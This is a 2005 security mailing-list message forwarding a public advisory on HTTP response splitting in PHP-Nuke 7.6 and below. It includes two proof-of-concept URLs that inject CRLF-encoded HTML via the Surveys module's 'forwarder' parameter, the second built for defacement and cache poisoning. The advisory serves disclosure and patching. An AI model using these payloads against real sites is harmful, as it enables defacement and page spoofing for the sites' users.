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[SM-Security] FW: [Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below]

From: Andrew <afrayedknot AT thefrayedknot.armory.com>
To: sm-security AT lists.ibiblio.org
Subject: [SM-Security] FW: [Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below]
Date: Fri, 15 Apr 2005 18:23:53 -0700

We have version 7.0 in our grimoires so it appears we're vulnerable.

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Subject: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
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Severity: High
Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
Date: 15/04/2005

Vendor: Php-Nuke
Vendor Website: http://www.phpnuke.org
Summary: There are, http response splitting vulnerability in php-nuke 7.6 and
below.

Proof of Concept Exploits:

MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT
www.digitalparadox.org/papers.ah

A simple POC can be as follows,

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO
I AM VULNERABLE TO HTTP RESPONSE
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5

A more serious version involving Cross user defacement, cache poisoning and
page hijacking can be,

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue>
Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing
and can be used for great evils details about which can be read in
http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic
Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab
{at} hackerscenter [dot] com<font
color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing user input to the mysql database, or before echoing data on the
screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me
regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my
soon to come out book on Secure coding with php.

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[SM-Security] FW: [Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below], Andrew, 04/15/2005